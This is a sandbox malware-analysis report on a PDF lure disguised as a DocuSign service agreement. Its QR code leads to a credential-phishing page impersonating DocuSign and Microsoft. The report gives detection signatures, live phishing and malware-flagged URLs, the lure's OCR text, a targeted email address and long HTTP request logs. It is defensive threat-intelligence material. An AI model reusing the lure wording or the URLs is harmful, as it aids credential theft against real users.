Edit tour

Windows Analysis Report
Ecastillo-In Service Agreement.pdf

Overview

General Information

Sample name:	Ecastillo-In Service Agreement.pdf
Analysis ID:	1591086
MD5:	73ce2b2a958b774533b9dca427ba9a99
SHA1:	a427b3810b8f0e37fd31124bac781ebc15ef4e47
SHA256:	362dfcf895194de779f63d97c9d2fccce176fcbf63f7b57da50f737b64114ca9
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Suspicious PDF detected (based on various text indicators)

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

IP address seen in connection with other malware

Invalid T&C link found

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 6548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Ecastillo-In Service Agreement.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2416 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1572,i,16953409773614406426,15727890434465165057,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docusign.legalcloudfiles.com/S06ga?e=ecastillo@seguridadamerica.com MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2232,i,17049063586275542748,260268571060558261,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://2043758164.cloudhostbuilder.com/next.php

Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with domains like microsoft.com., The URL 'docusign.legalcloudfiles.com' does not match the legitimate domain for Microsoft, which is a red flag., The domain 'legalcloudfiles.com' is not associated with Microsoft or DocuSign, which is suspicious., The presence of 'docusign' in the subdomain suggests an attempt to impersonate DocuSign, which is a well-known brand., The input field 'Enter password' is a common phishing tactic to capture sensitive information. DOM: 1.4.pages.csv

Yara detected HtmlPhish10

Source: Yara match

File source: 1.4.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: Page contains button: 'SCAN THE BARCODE TO REVIEW DOCUMENT' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains QR code

AI detected suspicious Javascript

Source: 0.7.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://docusign.legalcloudfiles.com/S06ga/?e=ecas... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of the 'astronomy' function to extract and decode a parameter from the URL, and the subsequent assignment of the decoded value to the 'rh13z8jemt' variable, suggests the potential for malicious activity. The script also contains a significant amount of irrelevant and obfuscated text, further raising suspicion. Overall, this script demonstrates a high risk of malicious intent and should be thoroughly investigated.

Suspicious PDF detected (based on various text indicators)

Source: Adobe Acrobat PDF

OCR Text: You have a secured document to review and sign today. SCAN THE BARCODE TO REVIEW DOCUMENT Scan the QR code with your smartphone camera to electronically sign the confidential document. Electronic Signature Required. Please Docusign - Seguridadamerica@Agreement Docs #228310

Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com

HTTP Parser: Number of links: 0

Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com

HTTP Parser: Invalid link: Privacy statement

Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com

HTTP Parser: <input type="password" .../> found

Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com	HTTP Parser: No favicon
Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com	HTTP Parser: No favicon
Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com	HTTP Parser: No favicon

Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com

HTTP Parser: No <meta name="author".. found

Source: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com

HTTP Parser: No <meta name="copyright".. found

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 33MB

Source: global traffic

TCP traffic: 192.168.2.4:51195 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 43.157.144.205 43.157.144.205

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /S06ga?e=ecastillo@seguridadamerica.com HTTP/1.1Host: docusign.legalcloudfiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /S06ga/?e=ecastillo@seguridadamerica.com HTTP/1.1Host: docusign.legalcloudfiles.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901ef7f939e87c7b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901ef7f939e87c7b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: docusign.legalcloudfiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=mflm6i3anin80rqnr4idh7h7ci
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/427550357:1736867636:Hrl0drLFPAO-Ioo5MdhbNq5JwydQFL51g-oXKOylUNU/901ef7f939e87c7b/Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/901ef7f939e87c7b/1736871788138/0b4d96bbec8e5a8086a586bdf9aa6c0898c981bb733b13a72e8175943b928a42/XaIEhYpzMd8fGPW HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901ef7f939e87c7b/1736871788142/WDV5ROEEdAhPiNm HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901ef7f939e87c7b/1736871788142/WDV5ROEEdAhPiNm HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/427550357:1736867636:Hrl0drLFPAO-Ioo5MdhbNq5JwydQFL51g-oXKOylUNU/901ef7f939e87c7b/Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://docusign.legalcloudfiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901efb0f7f1b5e5f&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901efb0f7f1b5e5f&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/901efb0f7f1b5e5f/1736871914683/c9f828323d80e73e9f1538f58e28145cb28549909e74653787713ca7511ba2c0/mGcs40MC0Uk9mog HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901efb0f7f1b5e5f/1736871914687/uYZGlLVFPQ1W7R0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901efb0f7f1b5e5f/1736871914687/uYZGlLVFPQ1W7R0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
